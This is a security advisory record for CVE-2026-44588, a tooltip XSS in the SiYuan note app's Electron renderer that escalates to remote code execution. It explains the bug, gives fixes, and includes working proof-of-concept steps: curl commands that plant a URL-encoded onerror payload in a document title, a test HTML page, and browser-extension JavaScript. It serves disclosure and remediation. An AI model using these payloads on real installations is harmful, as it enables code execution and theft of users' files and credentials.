CVE-2026-44588: SiYuan Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-25rp-h46x-2hjm",
  "modified" : "2026-06-08T20:11:29Z",
  "published" : "2026-05-08T19:08:30Z",
  "aliases" : [ "CVE-2026-44588" ],
  "summary" : "SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)",
  "details" : "## Summary\n\nThe tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`\"`, `'`, `<`, literal `&lt;`) — it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `<` character (a real `<`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `<`, parses the `<img>` element, and the `onerror` handler fires.\n\nBecause the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require('child_process')` is reachable from the injected handler, escalating to arbitrary code execution.\n\nDoc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into `class=\"ariaLabel\"` elements with `aria-label=\"${escapeAriaLabel(...)}\"`. Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification.\n\n## Why a \"double HTML-decode\" framing is wrong\n\nA naïve reading of the chain might suggest that `&amp;lt;` (the encoder output) decodes once at attribute-parse time to `&lt;`, then a second time at `innerHTML` time to `<` — yielding a tag. **That's incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `<` resulting from a `&lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.\n\nThe actual bypass relies on `decodeURIComponent` producing a **literal** `<` (not a character reference) before `innerHTML` parses it. Literal `<` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it.\n\n## Details\n\n**Encoder.** `app/src/util/escape.ts:19-25`:\n```ts\nexport const escapeAriaLabel = (html: string) => {\n    if (!html) { return html; }\n    return html.replace(/\"/g, \"&quot;\").replace(/'/g, \"&apos;\")\n        .replace(/</g, \"&amp;lt;\").replace(/&lt;/g, \"&amp;lt;\");\n};\n```\nThe four replacements only cover HTML special chars. `%XX` URL escapes are not touched.\n\n**Source — search-result rendering.** `app/src/search/util.ts:1406`:\n```ts\n<span class=\"b3-list-item__text ariaLabel\" ... aria-label=\"${escapeAriaLabel(title)}\">${escapeGreat(title)}</span>\n```\nSame pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim — `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.\n\n**Consumer.** `app/src/block/popover.ts:33,144`:\n```ts\nlet tip = aElement.getAttribute(\"aria-label\") || \"\";       // literal stored attribute value\n// ... branch logic that doesn't apply to plain search results ...\nshowTooltip(decodeURIComponent(tip), aElement, ...);       // ← decodes %XX into raw chars\n```\n`decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.\n\n**Sink.** `app/src/dialog/tooltip.ts:41`:\n```ts\nmessageElement.innerHTML = message;     // ← HTML parser sees the now-decoded raw `<` and starts parsing tags\n```\n\n**Decode-chain trace** for in-memory title `%3Cimg src=x onerror=\"alert('SiYuan')\"%3E` (URL-encoded `<` `>` `'`, literal `\"`):\n\n| step | result |\n|------|--------|\n| in-memory title | `%3Cimg src=x onerror=\"alert('SiYuan')\"%3E` |\n| `escapeAriaLabel` writes (only `\"` and `'` get encoded — neither appears here as raw chars when `'` is `%27`) | `%3Cimg src=x onerror=&quot;alert(%27SiYuan%27)&quot;%3E` |\n| HTML attribute set: `aria-label=\"...\"` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` |\n| `getAttribute(\"aria-label\")` | `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` (verbatim) |\n| `decodeURIComponent(tip)` | **`<img src=x onerror=\"alert('SiYuan')\">`** (real `<` `'` `>` chars) |\n| `messageElement.innerHTML = …` | HTML parser tokenizes raw `<img>`, creates element, fails to load `src=x`, fires `onerror` → JS runs |\n\n**Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`.\n\n## Suggested fix\n\n1. **Primary — `app/src/dialog/tooltip.ts:41`**: replace\n   ```ts\n   messageElement.innerHTML = message;\n   ```\n   with\n   ```ts\n   messageElement.textContent = message;\n   ```\n   For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`.\n\n2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.\n\n3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `&`, `<`, `>`, `\"`, `'`. Context-specific encoders without compile-time enforcement keep producing bug-class variants.\n\n4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default).\n2. Verify the kernel is up:\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   # → {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. Create at least one notebook (the file tree's \"+\" button) so `lsNotebooks` returns a usable id. Pin variables:\n   ```sh\n   API=http://127.0.0.1:6806\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H 'Content-Type: application/json' -d '{}' \\\n     | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])')\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n\n### Step A — Browser-only validation of the chain (no SiYuan needed)\n\nThis proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser:\n\n```html\n<!doctype html>\n<html><body>\n<h2 id=\"status\">Click \"Simulate\" — if status turns red, the chain works.</h2>\n<span id=\"src\" class=\"ariaLabel\"\n      aria-label=\"%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';&quot;%3E\"\n      hidden></span>\n<button onclick=\"\n  let tip = document.getElementById('src').getAttribute('aria-label');\n  console.log('after getAttribute:', JSON.stringify(tip));\n  try { tip = decodeURIComponent(tip); } catch(e){}\n  console.log('after decodeURIComponent:', JSON.stringify(tip));\n  document.getElementById('out').innerHTML = tip;\n\">Simulate SiYuan tooltip</button>\n<div id=\"out\" style=\"border:2px solid red; padding:1em; min-height:3em; margin-top:1em;\"></div>\n</body></html>\n```\n\nClick the button. The `<h2 id=\"status\">` flips to red with \"RESULT: payload fired — chain works\", and the `<div id=\"out\">` contains a fully-rendered `<img>` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters.\n\n### Step B — Plant the payload in SiYuan\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK_ID\\\",\\\"path\\\":\\\"/tooltip-xss-poc-$$\\\",\\\"markdown\\\":\\\"trigger me — open the search panel, type 'trigger', and hover this result\\\"}\" \\\n  | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"])')\necho \"DOC: $DOC_ID\"\n\ncurl -s -X POST $API/api/filetree/renameDocByID \\\n  -H 'Content-Type: application/json' \\\n  --data-binary @- <<EOF\n{\"id\":\"$DOC_ID\",\"title\":\"%3Cimg src=x onerror=\\\"alert('SiYuan tooltip-XSS PoC')\\\"%3E\"}\nEOF\n```\nVerify the in-memory title round-trips:\n```sh\ncurl -s -X POST $API/api/block/getDocInfo \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"ial\"][\"title\"])'\n# Expected:\n# %3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E\n```\n\n### Step C — Trigger inside SiYuan\n\nIn the SiYuan desktop client:\n1. Open the search panel (`Ctrl+P` / `⌘+P`).\n2. Type `trigger`.\n3. The result list renders the doc with `aria-label=\"${escapeAriaLabel(title)}\"`. The DOM attribute now contains `%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E` (URL-escapes survived; `&quot;` came from escapeAriaLabel and was decoded by the attribute parser to `\"`).\n4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `<`/`'`/`>`), `tooltip.ts:41` writes `innerHTML` — HTML parser creates a real `<img>` element, `onerror` fires.\n5. **`alert('SiYuan tooltip-XSS PoC')` pops.**\n\n### Step D — `.sy.zip` reproducer for upstream review\n\nFor maintainers who want a single-click reproducer:\n```sh\nZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c 'import sys,json; print(json.load(sys.stdin)[\"data\"][\"zip\"])')\n# The kernel re-encodes % in the URL, so it's simpler to grab from disk:\nSRC=$(ls -1t \"$HOME/SiYuanWorkspace/temp/export\"/*.sy.zip | head -1)\ncp \"$SRC\" \"$HOME/Desktop/tooltip-xss-poc.sy.zip\"\n```\nMaintainer reproduces by importing via right-click a notebook → **Import** → **SiYuan `.sy.zip`** → searching `trigger` → hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `\"` HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass.\n\n### Step E — Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Step B's curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running:\n```js\n(async () => {\n  const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {\n    method: 'POST', headers: {'Content-Type': 'application/json'},\n    body: JSON.stringify(body)\n  }).then(r => r.json());\n  const nb = await api('/api/notebook/lsNotebooks', {});\n  const id = (await api('/api/filetree/createDocWithMd', {\n    notebook: nb.data.notebooks[0].id,\n    path: '/x' + Date.now(),\n    markdown: 'trigger'\n  })).data;\n  await api('/api/filetree/renameDocByID', {\n    id,\n    title: `%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E`\n  });\n})();\n```\nA page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**.\n\n### Cleanup\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \\\n  -H 'Content-Type: application/json' -d '{\"k\":\"trigger me\"}' \\\n  | python -c 'import sys,json; r=json.load(sys.stdin)[\"data\"]; print(r[0][\"id\"] if r else \"\")')\n[ -n \"$DOC_ID\" ] && curl -s -X POST $API/api/filetree/removeDocByID \\\n  -H 'Content-Type: application/json' -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n```\n\n## Impact\n\n- **RCE on the victim's desktop**, triggered by hovering a search result (or any other `class=\"ariaLabel\"` element rendering attacker-controlled metadata).\n- **Doc titles are the most commonly-shared field** — recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.\n- Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot.\n- **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with `class=\"ariaLabel\"` and `aria-label=\"${escapeAriaLabel(...)}\"` reaches the same `popover.ts → tooltip.ts` chain.\n- **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `<` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260421031503-96dfe0bea474"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-25rp-h46x-2hjm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44588"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-1188", "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T19:08:30Z",
    "nvd_published_at" : "2026-05-14T19:16:37Z"
  }
}